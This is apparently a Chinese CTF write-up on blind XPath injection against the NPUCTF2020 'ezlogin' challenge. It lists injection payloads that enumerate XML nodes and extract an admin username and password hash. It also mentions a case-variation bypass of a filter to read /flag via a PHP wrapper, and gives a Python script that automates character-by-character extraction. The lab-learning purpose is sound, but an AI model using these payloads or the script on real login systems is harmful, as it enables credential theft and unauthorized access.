[NPUCTF2020]ezlogin-XPATH注入学习

[NPUCTF2020]ezlogin-XPATH注入学习
在这里插入图片描述
这题进入后就是一个简单的登录页面,拿御剑没有扫出别的东西,简单的sql注入试了一下也没有任何回显,爆破的话他这里有一个token一直在刷新,所以会有点麻烦,应该也不会拿爆破来考别人

后来看了别人的WP才知道是XPATH注入,以前没遇到过,也不是很了解,于是去找了篇相关文章顺带学习一下

在这里插入图片描述
这些是XPATH的一些基础语法和介绍
在这里插入图片描述
从这里可以看到它和sql注入还是很相像的,只不过XPATH注入好像没有注释符把后面的都注释掉,所以需要我们去构造闭合后面的单引号

文章的内容就不细说了,直接拿他的Xpath盲注步骤放这题练练手
在这里插入图片描述
1.从根节点开始判断节点数:

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点,*代表当前节点的子节点
##所以count(/root)=count(/*),root是根节点的子节点

在这里插入图片描述
在这里插入图片描述
这两个图我们都可以看到明显的布尔回显,说明他根下只有一个节点

再看看它根下有几个子节点
在这里插入图片描述
可以看到有一个子节点

2.判断根节点下的子节点长度:

'or string-length(name(/*[1]))=4 or ''='

在这里插入图片描述
子节点长度为4

3.猜解根节点下的子节点名称:

'or substring(name(/*[1]), 1, 1)='r'  or ''='
'or substring(name(/*[1]), 2, 1)='o'  or ''='
'or substring(name(/*[1]), 2, 1)='o'  or ''='
'or substring(name(/*[1]), 2, 1)='t'  or ''='

在这里插入图片描述
根节点名称为root

接下来看看root的

1.查看root节点下的子节点数

'or count(/root/*)=1 or ''=' 

在这里插入图片描述
2.猜测子节点的名称

'or substring(name(/root/*[1]), 1, 1)='a'  or ''='
'or substring(name(/root/*[1]), 1, 1)='c'  or ''='
'or substring(name(/root/*[1]), 1, 1)='c'  or ''='
'or substring(name(/root/*[1]), 1, 1)='o'  or ''='
'or substring(name(/root/*[1]), 1, 1)='u'  or ''='
'or substring(name(/root/*[1]), 1, 1)='n'  or ''='
'or substring(name(/root/*[1]), 1, 1)='t'  or ''='
'or substring(name(/root/*[1]), 1, 1)='s'  or ''='

在这里插入图片描述
所以root节点下的子节点只有一个,就是accounts

接下来看看accounts的

1.看accounts下子节点数

'or count(/root/accounts/*)=2 or ''=' 

在这里插入图片描述
可以看到有两个

2.判断子节点名称

'or substring(name(/root/accounts/*[1]), 1, 1)='u'  or ''='
'or substring(name(/root/accounts/*[1]), 2, 1)='s'  or ''='
'or substring(name(/root/accounts/*[1]), 3, 1)='e'  or ''='
'or substring(name(/root/accounts/*[1]), 4, 1)='r'  or ''='

在这里插入图片描述
第一个子节点名称为user

第二个子节点可以像上面那样判断,也可以像这样

'or count(/accounts/user)=2  or ''='    user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点

在这里插入图片描述
所以第二个节点名字也是user

到这里后面的就不细细说了,和前面的一样,这里补充下直接判断节点名的语句用以验算

'or substring(name(/*), 1)='root'  or ''='
'or substring(name(/root/*), 1)='accounts'  or ''='
'or substring(name(/root/accounts/*), 1)='user'  or ''='
'or substring(name(/root/accounts/user/*[1]), 1)='id'  or ''='

第一张user的语句

'or count(/root/accounts/user[position()=1]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=1]/*[1]), 1)='id'  or ''='
'or substring(name(/root/accounts/user[position()=1]/*[2]), 1)='username'  or ''='
'or substring(name(/root/accounts/user[position()=1]/*[3]), 1)='password'  or ''='

同理第二张user的语句

'or count(/root/accounts/user[position()=2]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=2]/*[1]), 1)='id'  or ''='
'or substring(name(/root/accounts/user[position()=2]/*[2]), 1)='username'  or ''='
'or substring(name(/root/accounts/user[position()=2]/*[3]), 1)='password'  or ''='

由此可知两个user节点下都是又有id,username,password,接下来查看这些文本节点的内容

'or substring(/root/accounts/user[2]/username/text(), 1, 1)='a'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 2, 1)='d'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 3, 1)='m'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 4, 1)='1'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 5, 1)='n'  or ''='

'or /root/accounts/user[position()=2]/username/text()='adm1n'  or ''=' 
'or /root/accounts/user[position()=1]/username/text()='guest'  or ''=' 

在这里插入图片描述

从上面可知,有两个用户名,一个是guest,一个是adm1n,接下来重点关注下adm1n的密码

'or /root/accounts/user[position()=2]/password/text()='cf7414b5bdb2e65ee43083f4ddbc4d9f'  or ''='

在这里插入图片描述
账号为adm1n的用户密码为cf7414b5bdb2e65ee43083f4ddbc4d9f,这里注意下,密码还得拿去md5解码,正确的密码是gtfly123

在这里插入图片描述
终于登陆进来了,看一下源码
在这里插入图片描述
将其解密后得到flag is in /flag

在这里插入图片描述
既然告诉我们路径了,那就去url那里改成flag的路径
在这里插入图片描述
不太行,换个php协议试试,这里过滤了php和base,所以用大小写绕过
在这里插入图片描述
最后将拿到的base64解码即可得到flag
在这里插入图片描述
补充
最后贴一个大佬的脚本

import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

参考文章
https://xz.aliyun.com/t/7791#toc-6
https://blog.csdn.net/SopRomeo/article/details/106556717

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值